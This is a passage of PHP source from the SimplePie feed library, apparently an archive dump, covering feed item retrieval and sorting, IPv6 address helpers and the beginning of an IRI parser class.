     * @return int|null
     */
    public function get_image_width()
    {
        if ($return = $this->get_image_tags(self::NAMESPACE_RSS_20, 'width')) {
            return intval($return[0]['data']);
        } elseif ($this->get_type() & self::TYPE_RSS_SYNDICATION && $this->get_image_tags(self::NAMESPACE_RSS_20, 'url')) {
            return 88;
        }

        return null;
    }

    /**
     * Get the feed logo's height
     *
     * RSS 2.0 feeds are allowed to have a "feed logo" height.
     *
     * Uses `<image><height>` or defaults to 31 if no height is specified and
     * the feed is an RSS 2.0 feed.
     *
     * @return int|null
     */
    public function get_image_height()
    {
        if ($return = $this->get_image_tags(self::NAMESPACE_RSS_20, 'height')) {
            return intval($return[0]['data']);
        } elseif ($this->get_type() & self::TYPE_RSS_SYNDICATION && $this->get_image_tags(self::NAMESPACE_RSS_20, 'url')) {
            return 31;
        }

        return null;
    }

    /**
     * Get the number of items in the feed
     *
     * This is well-suited for {@link http://php.net/for for()} loops with
     * {@see get_item()}
     *
     * @param int $max Maximum value to return. 0 for no limit
     * @return int Number of items in the feed
     */
    public function get_item_quantity($max = 0)
    {
        $max = (int) $max;
        $qty = count($this->get_items());
        if ($max === 0) {
            return $qty;
        }

        return ($qty > $max) ? $max : $qty;
    }

    /**
     * Get a single item from the feed
     *
     * This is better suited for {@link http://php.net/for for()} loops, whereas
     * {@see get_items()} is better suited for
     * {@link http://php.net/foreach foreach()} loops.
     *
     * @see get_item_quantity()
     * @since Beta 2
     * @param int $key The item that you want to return. Remember that arrays begin with 0, not 1
     * @return \SimplePie\Item|null
     */
    public function get_item($key = 0)
    {
        $items = $this->get_items();
        if (isset($items[$key])) {
            return $items[$key];
        }

        return null;
    }

    /**
     * Get all items from the feed
     *
     * This is better suited for {@link http://php.net/for for()} loops, whereas
     * {@see get_items()} is better suited for
     * {@link http://php.net/foreach foreach()} loops.
     *
     * @see get_item_quantity
     * @since Beta 2
     * @param int $start Index to start at
     * @param int $end Number of items to return. 0 for all items after `$start`
     * @return \SimplePie\Item[]|null List of {@see \SimplePie\Item} objects
     */
    public function get_items($start = 0, $end = 0)
    {
        if (!isset($this->data['items'])) {
            if (!empty($this->multifeed_objects)) {
                $this->data['items'] = SimplePie::merge_items($this->multifeed_objects, $start, $end, $this->item_limit);
                if (empty($this->data['items'])) {
                    return [];
                }
                return $this->data['items'];
            }
            $this->data['items'] = [];
            if ($items = $this->get_feed_tags(self::NAMESPACE_ATOM_10, 'entry')) {
                $keys = array_keys($items);
                foreach ($keys as $key) {
                    $this->data['items'][] = $this->registry->create(Item::class, [$this, $items[$key]]);
                }
            }
            if ($items = $this->get_feed_tags(self::NAMESPACE_ATOM_03, 'entry')) {
                $keys = array_keys($items);
                foreach ($keys as $key) {
                    $this->data['items'][] = $this->registry->create(Item::class, [$this, $items[$key]]);
                }
            }
            if ($items = $this->get_feed_tags(self::NAMESPACE_RSS_10, 'item')) {
                $keys = array_keys($items);
                foreach ($keys as $key) {
                    $this->data['items'][] = $this->registry->create(Item::class, [$this, $items[$key]]);
                }
            }
            if ($items = $this->get_feed_tags(self::NAMESPACE_RSS_090, 'item')) {
                $keys = array_keys($items);
                foreach ($keys as $key) {
                    $this->data['items'][] = $this->registry->create(Item::class, [$this, $items[$key]]);
                }
            }
            if ($items = $this->get_channel_tags(self::NAMESPACE_RSS_20, 'item')) {
                $keys = array_keys($items);
                foreach ($keys as $key) {
                    $this->data['items'][] = $this->registry->create(Item::class, [$this, $items[$key]]);
                }
            }
        }

        if (empty($this->data['items'])) {
            return [];
        }

        if ($this->order_by_date) {
            if (!isset($this->data['ordered_items'])) {
                $this->data['ordered_items'] = $this->data['items'];
                usort($this->data['ordered_items'], [get_class($this), 'sort_items']);
            }
            $items = $this->data['ordered_items'];
        } else {
            $items = $this->data['items'];
        }
        // Slice the data as desired
        if ($end === 0) {
            return array_slice($items, $start);
        }

        return array_slice($items, $start, $end);
    }

    /**
     * Set the favicon handler
     *
     * @deprecated Use your own favicon handling instead
     */
    public function set_favicon_handler($page = false, $qs = 'i')
    {
        trigger_error('Favicon handling has been removed, please use your own handling', \E_USER_DEPRECATED);
        return false;
    }

    /**
     * Get the favicon for the current feed
     *
     * @deprecated Use your own favicon handling instead
     */
    public function get_favicon()
    {
        trigger_error('Favicon handling has been removed, please use your own handling', \E_USER_DEPRECATED);

        if (($url = $this->get_link()) !== null) {
            return 'https://www.google.com/s2/favicons?domain=' . urlencode($url);
        }

        return false;
    }

    /**
     * Magic method handler
     *
     * @param string $method Method name
     * @param array $args Arguments to the method
     * @return mixed
     */
    public function __call($method, $args)
    {
        if (strpos($method, 'subscribe_') === 0) {
            trigger_error('subscribe_*() has been deprecated, implement the callback yourself', \E_USER_DEPRECATED);
            return '';
        }
        if ($method === 'enable_xml_dump') {
            trigger_error('enable_xml_dump() has been deprecated, use get_raw_data() instead', \E_USER_DEPRECATED);
            return false;
        }

        $class = get_class($this);
        $trace = debug_backtrace(); // phpcs:ignore PHPCompatibility.FunctionUse.ArgumentFunctionsReportCurrentValue.NeedsInspection
        $file = $trace[0]['file'];
        $line = $trace[0]['line'];
        throw new SimplePieException("Call to undefined method $class::$method() in $file on line $line");
    }

    /**
     * Sorting callback for items
     *
     * @access private
     * @param SimplePie $a
     * @param SimplePie $b
     * @return boolean
     */
    public static function sort_items($a, $b)
    {
        $a_date = $a->get_date('U');
        $b_date = $b->get_date('U');
        if ($a_date && $b_date) {
            return $a_date > $b_date ? -1 : 1;
        }
        // Sort items without dates to the top.
        if ($a_date) {
            return 1;
        }
        if ($b_date) {
            return -1;
        }
        return 0;
    }

    /**
     * Merge items from several feeds into one
     *
     * If you're merging multiple feeds together, they need to all have dates
     * for the items or else SimplePie will refuse to sort them.
     *
     * @link http://simplepie.org/wiki/tutorial/sort_multiple_feeds_by_time_and_date#if_feeds_require_separate_per-feed_settings
     * @param array $urls List of SimplePie feed objects to merge
     * @param int $start Starting item
     * @param int $end Number of items to return
     * @param int $limit Maximum number of items per feed
     * @return array
     */
    public static function merge_items($urls, $start = 0, $end = 0, $limit = 0)
    {
        if (is_array($urls) && sizeof($urls) > 0) {
            $items = [];
            foreach ($urls as $arg) {
                if ($arg instanceof SimplePie) {
                    $items = array_merge($items, $arg->get_items(0, $limit));
                } else {
                    trigger_error('Arguments must be SimplePie objects', E_USER_WARNING);
                }
            }

            usort($items, [get_class($urls[0]), 'sort_items']);

            if ($end === 0) {
                return array_slice($items, $start);
            }

            return array_slice($items, $start, $end);
        }

        trigger_error('Cannot merge zero SimplePie objects', E_USER_WARNING);
        return [];
    }

    /**
     * Store PubSubHubbub links as headers
     *
     * There is no way to find PuSH links in the body of a microformats feed,
     * so they are added to the headers when found, to be used later by get_links.
     * @param \SimplePie\File $file
     * @param string $hub
     * @param string $self
     */
    private function store_links(&$file, $hub, $self)
    {
        if (isset($file->headers['link']['hub']) ||
              (isset($file->headers['link']) &&
               preg_match('/rel=hub/', $file->headers['link']))) {
            return;
        }

        if ($hub) {
            if (isset($file->headers['link'])) {
                if ($file->headers['link'] !== '') {
                    $file->headers['link'] = ', ';
                }
            } else {
                $file->headers['link'] = '';
            }
            $file->headers['link'] .= '<'.$hub.'>; rel=hub';
            if ($self) {
                $file->headers['link'] .= ', <'.$self.'>; rel=self';
            }
        }
    }

    /**
     * Get a DataCache
     *
     * @param string $feed_url Only needed for BC, can be removed in SimplePie 2.0.0
     *
     * @return DataCache
     */
    private function get_cache($feed_url = '')
    {
        if ($this->cache === null) {
            // @trigger_error(sprintf('Not providing as PSR-16 cache implementation is deprecated since SimplePie 1.8.0, please use "SimplePie\SimplePie::set_cache()".'), \E_USER_DEPRECATED);
            $cache = $this->registry->call(Cache::class, 'get_handler', [
                $this->cache_location,
                $this->get_cache_filename($feed_url),
                Base::TYPE_FEED
            ]);

            return new BaseDataCache($cache);
        }

        return $this->cache;
    }
}

class_alias('SimplePie\SimplePie', 'SimplePie');
src/Net/IPv6.php000064400000021041151024210710007345 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie\Net;

/**
 * Class to validate and to work with IPv6 addresses.
 *
 * @package SimplePie
 * @subpackage HTTP
 * @copyright 2003-2005 The PHP Group
 * @license http://www.opensource.org/licenses/bsd-license.php
 * @link http://pear.php.net/package/Net_IPv6
 * @author Alexander Merz <alexander.merz@web.de>
 * @author elfrink at introweb dot nl
 * @author Josh Peck <jmp at joshpeck dot org>
 * @author Sam Sneddon <geoffers@gmail.com>
 */
class IPv6
{
    /**
     * Uncompresses an IPv6 address
     *
     * RFC 4291 allows you to compress concecutive zero pieces in an address to
     * '::'. This method expects a valid IPv6 address and expands the '::' to
     * the required number of zero pieces.
     *
     * Example:  FF01::101   ->  FF01:0:0:0:0:0:0:101
     *           ::1         ->  0:0:0:0:0:0:0:1
     *
     * @author Alexander Merz <alexander.merz@web.de>
     * @author elfrink at introweb dot nl
     * @author Josh Peck <jmp at joshpeck dot org>
     * @copyright 2003-2005 The PHP Group
     * @license http://www.opensource.org/licenses/bsd-license.php
     * @param string $ip An IPv6 address
     * @return string The uncompressed IPv6 address
     */
    public static function uncompress($ip)
    {
        $c1 = -1;
        $c2 = -1;
        if (substr_count($ip, '::') === 1) {
            [$ip1, $ip2] = explode('::', $ip);
            if ($ip1 === '') {
                $c1 = -1;
            } else {
                $c1 = substr_count($ip1, ':');
            }
            if ($ip2 === '') {
                $c2 = -1;
            } else {
                $c2 = substr_count($ip2, ':');
            }
            if (strpos($ip2, '.') !== false) {
                $c2++;
            }
            // ::
            if ($c1 === -1 && $c2 === -1) {
                $ip = '0:0:0:0:0:0:0:0';
            }
            // ::xxx
            elseif ($c1 === -1) {
                $fill = str_repeat('0:', 7 - $c2);
                $ip = str_replace('::', $fill, $ip);
            }
            // xxx::
            elseif ($c2 === -1) {
                $fill = str_repeat(':0', 7 - $c1);
                $ip = str_replace('::', $fill, $ip);
            }
            // xxx::xxx
            else {
                $fill = ':' . str_repeat('0:', 6 - $c2 - $c1);
                $ip = str_replace('::', $fill, $ip);
            }
        }
        return $ip;
    }

    /**
     * Compresses an IPv6 address
     *
     * RFC 4291 allows you to compress concecutive zero pieces in an address to
     * '::'. This method expects a valid IPv6 address and compresses consecutive
     * zero pieces to '::'.
     *
     * Example:  FF01:0:0:0:0:0:0:101   ->  FF01::101
     *           0:0:0:0:0:0:0:1        ->  ::1
     *
     * @see uncompress()
     * @param string $ip An IPv6 address
     * @return string The compressed IPv6 address
     */
    public static function compress($ip)
    {
        // Prepare the IP to be compressed
        $ip = self::uncompress($ip);
        $ip_parts = self::split_v6_v4($ip);

        // Replace all leading zeros
        $ip_parts[0] = preg_replace('/(^|:)0+([0-9])/', '\1\2', $ip_parts[0]);

        // Find bunches of zeros
        if (preg_match_all('/(?:^|:)(?:0(?::|$))+/', $ip_parts[0], $matches, PREG_OFFSET_CAPTURE)) {
            $max = 0;
            $pos = null;
            foreach ($matches[0] as $match) {
                if (strlen($match[0]) > $max) {
                    $max = strlen($match[0]);
                    $pos = $match[1];
                }
            }

            $ip_parts[0] = substr_replace($ip_parts[0], '::', $pos, $max);
        }

        if ($ip_parts[1] !== '') {
            return implode(':', $ip_parts);
        }

        return $ip_parts[0];
    }

    /**
     * Splits an IPv6 address into the IPv6 and IPv4 representation parts
     *
     * RFC 4291 allows you to represent the last two parts of an IPv6 address
     * using the standard IPv4 representation
     *
     * Example:  0:0:0:0:0:0:13.1.68.3
     *           0:0:0:0:0:FFFF:129.144.52.38
     *
     * @param string $ip An IPv6 address
     * @return array [0] contains the IPv6 represented part, and [1] the IPv4 represented part
     */
    private static function split_v6_v4($ip)
    {
        if (strpos($ip, '.') !== false) {
            $pos = strrpos($ip, ':');
            $ipv6_part = substr($ip, 0, $pos);
            $ipv4_part = substr($ip, $pos + 1);
            return [$ipv6_part, $ipv4_part];
        }

        return [$ip, ''];
    }

    /**
     * Checks an IPv6 address
     *
     * Checks if the given IP is a valid IPv6 address
     *
     * @param string $ip An IPv6 address
     * @return bool true if $ip is a valid IPv6 address
     */
    public static function check_ipv6($ip)
    {
        $ip = self::uncompress($ip);
        [$ipv6, $ipv4] = self::split_v6_v4($ip);
        $ipv6 = explode(':', $ipv6);
        $ipv4 = explode('.', $ipv4);
        if (count($ipv6) === 8 && count($ipv4) === 1 || count($ipv6) === 6 && count($ipv4) === 4) {
            foreach ($ipv6 as $ipv6_part) {
                // The section can't be empty
                if ($ipv6_part === '') {
                    return false;
                }

                // Nor can it be over four characters
                if (strlen($ipv6_part) > 4) {
                    return false;
                }

                // Remove leading zeros (this is safe because of the above)
                $ipv6_part = ltrim($ipv6_part, '0');
                if ($ipv6_part === '') {
                    $ipv6_part = '0';
                }

                // Check the value is valid
                $value = hexdec($ipv6_part);
                if (dechex($value) !== strtolower($ipv6_part) || $value < 0 || $value > 0xFFFF) {
                    return false;
                }
            }
            if (count($ipv4) === 4) {
                foreach ($ipv4 as $ipv4_part) {
                    $value = (int) $ipv4_part;
                    if ((string) $value !== $ipv4_part || $value < 0 || $value > 0xFF) {
                        return false;
                    }
                }
            }
            return true;
        }

        return false;
    }

    /**
     * Checks if the given IP is a valid IPv6 address
     *
     * @codeCoverageIgnore
     * @deprecated Use {@see IPv6::check_ipv6()} instead
     * @see check_ipv6
     * @param string $ip An IPv6 address
     * @return bool true if $ip is a valid IPv6 address
     */
    public static function checkIPv6($ip)
    {
        return self::check_ipv6($ip);
    }
}

class_alias('SimplePie\Net\IPv6', 'SimplePie_Net_IPv6');
src/IRI.php000064400000105473151024210710006472 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

/**
 * IRI parser/serialiser/normaliser
 *
 * @package SimplePie
 * @subpackage HTTP
 * @author Sam Sneddon
 * @author Steve Minutillo
 * @author Ryan McCue
 * @copyright 2007-2012 Sam Sneddon, Steve Minutillo, Ryan McCue
 * @license http://www.opensource.org/licenses/bsd-license.php
 */
class IRI
{
    /**
     * Scheme
     *
     * @var string
     */
    protected $scheme = null;

    /**
     * User Information
     *
     * @var string
     */
    protected $iuserinfo = null;

    /**
     * ihost
     *
     * @var string
     */
    protected $ihost = null;

    /**
     * Port
     *
     * @var string
     */
    protected $port = null;

    /**
     * ipath
     *
     * @var string
     */
    protected $ipath = '';

    /**
     * iquery
     *
     * @var string
     */
    protected $iquery = null;

    /**
     * ifragment
     *
     * @var string
     */
    protected $ifragment = null;

    /**
     * Normalization database
     *
     * Each key is the scheme, each value is an array with each key as the IRI
     * part and value as the default value for that part.
     */
    protected $normalization = [
        'acap' => [
            'port' => 674
        ],
        'dict' => [
            'port' => 2628
        ],
        'file' => [
            'ihost' => 'localhost'
        ],
        'http' => [
            'port' => 80,
            'ipath' => '/'
        ],
        'https' => [
            'port' => 443,
            'ipath' => '/'
        ],
    ];

    /**
     * Return the entire IRI when you try and read the object as a string
     *
     * @return string
     */
    public function __toString()
    {
        return $this->get_iri();
    }

    /**
     * Overload __set() to provide access via properties
     *
     * @param string $name Property name
     * @param mixed $value Property value
     */
    public function __set($name, $value)
    {
        if (method_exists($this, 'set_' . $name)) {
            call_user_func([$this, 'set_' . $name], $value);
        } elseif (
            $name === 'iauthority'
            || $name === 'iuserinfo'
            || $name === 'ihost'
            || $name === 'ipath'
            || $name === 'iquery'
            || $name === 'ifragment'
        ) {
            call_user_func([$this, 'set_' . substr($name, 1)], $value);
        }
    }

    /**
     * Overload __get() to provide access via properties
     *
     * @param string $name Property name
     * @return mixed
     */
    public function __get($name)
    {
        // isset() returns false for null, we don't want to do that
        // Also why we use array_key_exists below instead of isset()
        $props = get_object_vars($this);

        if (
            $name === 'iri' ||
            $name === 'uri' ||
            $name === 'iauthority' ||
            $name === 'authority'
        ) {
            $return = $this->{"get_$name"}();
        } elseif (array_key_exists($name, $props)) {
            $return = $this->$name;
        }
        // host -> ihost
        elseif (($prop = 'i' . $name) && array_key_exists($prop, $props)) {
            $name = $prop;
            $return = $this->$prop;
        }
        // ischeme -> scheme
        elseif (($prop = substr($name, 1)) && array_key_exists($prop, $props)) {
            $name = $prop;
            $return = $this->$prop;
        } else {
            trigger_error('Undefined property: ' . get_class($this) . '::' . $name, E_USER_NOTICE);
            $return = null;
        }

        if ($return === null && isset($this->normalization[$this->scheme][$name])) {
            return $this->normalization[$this->scheme][$name];
        }

        return $return;
    }

    /**
     * Overload __isset() to provide access via properties
     *
     * @param string $name Property name
     * @return bool
     */
    public function __isset($name)
    {
        return method_exists($this, 'get_' . $name) || isset($this->$name);
    }

    /**
     * Overload __unset() to provide access via properties
     *
     * @param string $name Property name
     */
    public function __unset($name)
    {
        if (method_exists($this, 'set_' . $name)) {
            call_user_func([$this, 'set_' . $name], '');
        }
    }

    /**
     * Create a new IRI object, from a specified string
     *
     * @param string $iri
     */
    public function __construct($iri = null)
    {
        $this->set_iri($iri);
    }

    /**
     * Clean up
     */
    public function __destruct()
    {
        $this->set_iri(null, true);
        $this->set_path(null, true);
        $this->set_authority(null, true);
    }

    /**
     * Create a new IRI object by resolving a relative IRI
     *
     * Returns false if $base is not absolute, otherwise an IRI.
     *
     * @param IRI|string $base (Absolute) Base IRI
     * @param IRI|string $relative Relative IRI
     * @return IRI|false
     */
    public static function absolutize($base, $relative)
    {
        if (!($relative instanceof IRI)) {
            $relative = new IRI($relative);
        }
        if (!$relative->is_valid()) {
            return false;
        } elseif ($relative->scheme !== null) {
            return clone $relative;
        } else {
            if (!($base instanceof IRI)) {
                $base = new IRI($base);
            }
            if ($base->scheme !== null && $base->is_valid()) {
                if ($relative->get_iri() !== '') {
                    if ($relative->iuserinfo !== null || $relative->ihost !== null || $relative->port !== null) {
                        $target = clone $relative;
                        $target->scheme = $base->scheme;
                    } else {
                        $target = new IRI();
                        $target->scheme = $base->scheme;
                        $target->iuserinfo = $base->iuserinfo;
                        $target->ihost = $base->ihost;
                        $target->port = $base->port;
                        if ($relative->ipath !== '') {
                            if ($relative->ipath[0] === '/') {
                                $target->ipath = $relative->ipath;
                            } elseif (($base->iuserinfo !== null || $base->ihost !== null || $base->port !== null) && $base->ipath === '') {
                                $target->ipath = '/' . $relative->ipath;
                            } elseif (($last_segment = strrpos($base->ipath, '/')) !== false) {
                                $target->ipath = substr($base->ipath, 0, $last_segment + 1) . $relative->ipath;
                            } else {
                                $target->ipath = $relative->ipath;
                            }
                            $target->ipath = $target->remove_dot_segments($target->ipath);
                            $target->iquery = $relative->iquery;
                        } else {
                            $target->ipath = $base->ipath;
                            if ($relative->iquery !== null) {
                                $target->iquery = $relative->iquery;
                            } elseif ($base->iquery !== null) {
                                $target->iquery = $base->iquery;
                            }
                        }
                        $target->ifragment = $relative->ifragment;
                    }
                } else {
                    $target = clone $base;
                    $target->ifragment = null;
                }
                $target->scheme_normalization();
                return $target;
            }

            return false;
        }
    }

    /**
     * Parse an IRI into scheme/authority/path/query/fragment segments
     *
     * @param string $iri
     * @return array
     */
    protected function parse_iri($iri)
    {
        $iri = trim($iri, "\x20\x09\x0A\x0C\x0D");
        if (preg_match('/^((?P<scheme>[^:\/?#]+):)?(\/\/(?P<authority>[^\/?#]*))?(?P<path>[^?#]*)(\?(?P<query>[^#]*))?(#(?P<fragment>.*))?$/', $iri, $match)) {
            if ($match[1] === '') {
                $match['scheme'] = null;
            }
            if (!isset($match[3]) || $match[3] === '') {
                $match['authority'] = null;
            }
            if (!isset($match[5])) {
                $match['path'] = '';
            }
            if (!isset($match[6]) || $match[6] === '') {
                $match['query'] = null;
            }
            if (!isset($match[8]) || $match[8] === '') {
                $match['fragment'] = null;
            }
            return $match;
        }

        // This can occur when a paragraph is accidentally parsed as a URI
        return false;
    }

    /**
     * Remove dot segments from a path
     *
     * @param string $input
     * @return string
     */
    protected function remove_dot_segments($input)
    {
        $output = '';
        while (strpos($input, './') !== false || strpos($input, '/.') !== false || $input === '.' || $input === '..') {
            // A: If the input buffer begins with a prefix of "../" or "./", then remove that prefix from the input buffer; otherwise,
            if (strpos($input, '../') === 0) {
                $input = substr($input, 3);
            } elseif (strpos($input, './') === 0) {
                $input = substr($input, 2);
            }
            // B: if the input buffer begins with a prefix of "/./" or "/.", where "." is a complete path segment, then replace that prefix with "/" in the input buffer; otherwise,
            elseif (strpos($input, '/./') === 0) {
                $input = substr($input, 2);
            } elseif ($input === '/.') {
                $input = '/';
            }
            // C: if the input buffer begins with a prefix of "/../" or "/..", where ".." is a complete path segment, then replace that prefix with "/" in the input buffer and remove the last segment and its preceding "/" (if any) from the output buffer; otherwise,
            elseif (strpos($input, '/../') === 0) {
                $input = substr($input, 3);
                $output = substr_replace($output, '', intval(strrpos($output, '/')));
            } elseif ($input === '/..') {
                $input = '/';
                $output = substr_replace($output, '', intval(strrpos($output, '/')));
            }
            // D: if the input buffer consists only of "." or "..", then remove that from the input buffer; otherwise,
            elseif ($input === '.' || $input === '..') {
                $input = '';
            }
            // E: move the first path segment in the input buffer to the end of the output buffer, including the initial "/" character (if any) and any subsequent characters up to, but not including, the next "/" character or the end of the input buffer
            elseif (($pos = strpos($input, '/', 1)) !== false) {
                $output .= substr($input, 0, $pos);
                $input = substr_replace($input, '', 0, $pos);
            } else {
                $output .= $input;
                $input = '';
            }
        }
        return $output . $input;
    }

    /**
     * Replace invalid character with percent encoding
     *
     * @param string $string Input string
     * @param string $extra_chars Valid characters not in iunreserved or
     *                            iprivate (this is ASCII-only)
     * @param bool $iprivate Allow iprivate
     * @return string
     */
    protected function replace_invalid_with_pct_encoding($string, $extra_chars, $iprivate = false)
    {
        // Normalize as many pct-encoded sections as possible
        $string = preg_replace_callback('/(?:%[A-Fa-f0-9]{2})+/', [$this, 'remove_iunreserved_percent_encoded'], $string);

        // Replace invalid percent characters
        $string = preg_replace('/%(?![A-Fa-f0-9]{2})/', '%25', $string);

        // Add unreserved and % to $extra_chars (the latter is safe because all
        // pct-encoded sections are now valid).
        $extra_chars .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~%';

        // Now replace any bytes that aren't allowed with their pct-encoded versions
        $position = 0;
        $strlen = strlen($string);
        while (($position += strspn($string, $extra_chars, $position)) < $strlen) {
            $value = ord($string[$position]);
            $character = 0;

            // Start position
            $start = $position;

            // By default we are valid
            $valid = true;

            // No one byte sequences are valid due to the while.
            // Two byte sequence:
            if (($value & 0xE0) === 0xC0) {
                $character = ($value & 0x1F) << 6;
                $length = 2;
                $remaining = 1;
            }
            // Three byte sequence:
            elseif (($value & 0xF0) === 0xE0) {
                $character = ($value & 0x0F) << 12;
                $length = 3;
                $remaining = 2;
            }
            // Four byte sequence:
            elseif (($value & 0xF8) === 0xF0) {
                $character = ($value & 0x07) << 18;
                $length = 4;
                $remaining = 3;
            }
            // Invalid byte:
            else {
                $valid = false;
                $length = 1;
                $remaining = 0;
            }

            if ($remaining) {
                if ($position + $length <= $strlen) {
                    for ($position++; $remaining; $position++) {
                        $value = ord($string[$position]);

                        // Check that the byte is valid, then add it to the character:
                        if (($value & 0xC0) === 0x80) {
                            $character |= ($value & 0x3F) << (--$remaining * 6);
                        }
                        // If it is invalid, count the sequence as invalid and reprocess the current byte:
                        else {
                            $valid = false;
                            $position--;
                            break;
                        }
                    }
                } else {
                    $position = $strlen - 1;
                    $valid = false;
                }
            }

            // Percent encode anything invalid or not in ucschar
            if (
                // Invalid sequences
                !$valid
                // Non-shortest form sequences are invalid
                || $length > 1 && $character <= 0x7F
                || $length > 2 && $character <= 0x7FF
                || $length > 3 && $character <= 0xFFFF
                // Outside of range of ucschar codepoints
                // Noncharacters
                || ($character & 0xFFFE) === 0xFFFE
                || $character >= 0xFDD0 && $character <= 0xFDEF
                || (
                    // Everything else not in ucschar
                    $character > 0xD7FF && $character < 0xF900
                    || $character < 0xA0
                    || $character > 0xEFFFD
                )
                && (
                    // Everything not in iprivate, if it applies
                    !$iprivate
                    || $character < 0xE000
                    || $character > 0x10FFFD
                )
            ) {
                // If we were a character, pretend we weren't, but rather an error.
                if ($valid) {
                    $position--;
                }

                for ($j = $start; $j <= $position; $j++) {
                    $string = substr_replace($string, sprintf('%%%02X', ord($string[$j])), $j, 1);
                    $j += 2;
                    $position += 2;
                    $strlen += 2;
                }
            }
        }

        return $string;
    }

    /**
     * Callback function for preg_replace_callback.
     *
     * Removes sequences of percent encoded bytes that represent UTF-8
     * encoded characters in iunreserved
     *
     * @param array $match PCRE match
     * @return string Replacement
     */
    protected function remove_iunreserved_percent_encoded($match)
    {
        // As we just have valid percent encoded sequences we can just explode
        // and ignore the first member of the returned array (an empty string).
        $bytes = explode('%', $match[0]);

        // Initialize the new string (this is what will be returned) and that
        // there are no bytes remaining in the current sequence (unsurprising
        // at the first byte!).
        $string = '';
        $remaining = 0;

        // these variables will be initialized in the loop but PHPStan is not able to detect it currently
        $start = 0;
        $character = 0;
        $length = 0;
        $valid = true;

        // Loop over each and every byte, and set $value to its value
        for ($i = 1, $len = count($bytes); $i < $len; $i++) {
            $value = hexdec($bytes[$i]);

            // If we're the first byte of sequence:
            if (!$remaining) {
                // Start position
                $start = $i;

                // By default we are valid
                $valid = true;

                // One byte sequence:
                if ($value <= 0x7F) {
                    $character = $value;
                    $length = 1;
                }
                // Two byte sequence:
                elseif (($value & 0xE0) === 0xC0) {
                    $character = ($value & 0x1F) << 6;
                    $length = 2;
                    $remaining = 1;
                }
                // Three byte sequence:
                elseif (($value & 0xF0) === 0xE0) {
                    $character = ($value & 0x0F) << 12;
                    $length = 3;
                    $remaining = 2;
                }
                // Four byte sequence:
                elseif (($value & 0xF8) === 0xF0) {
                    $character = ($value & 0x07) << 18;
                    $length = 4;
                    $remaining = 3;
                }
                // Invalid byte:
                else {
                    $valid = false;
                    $remaining = 0;
                }
            }
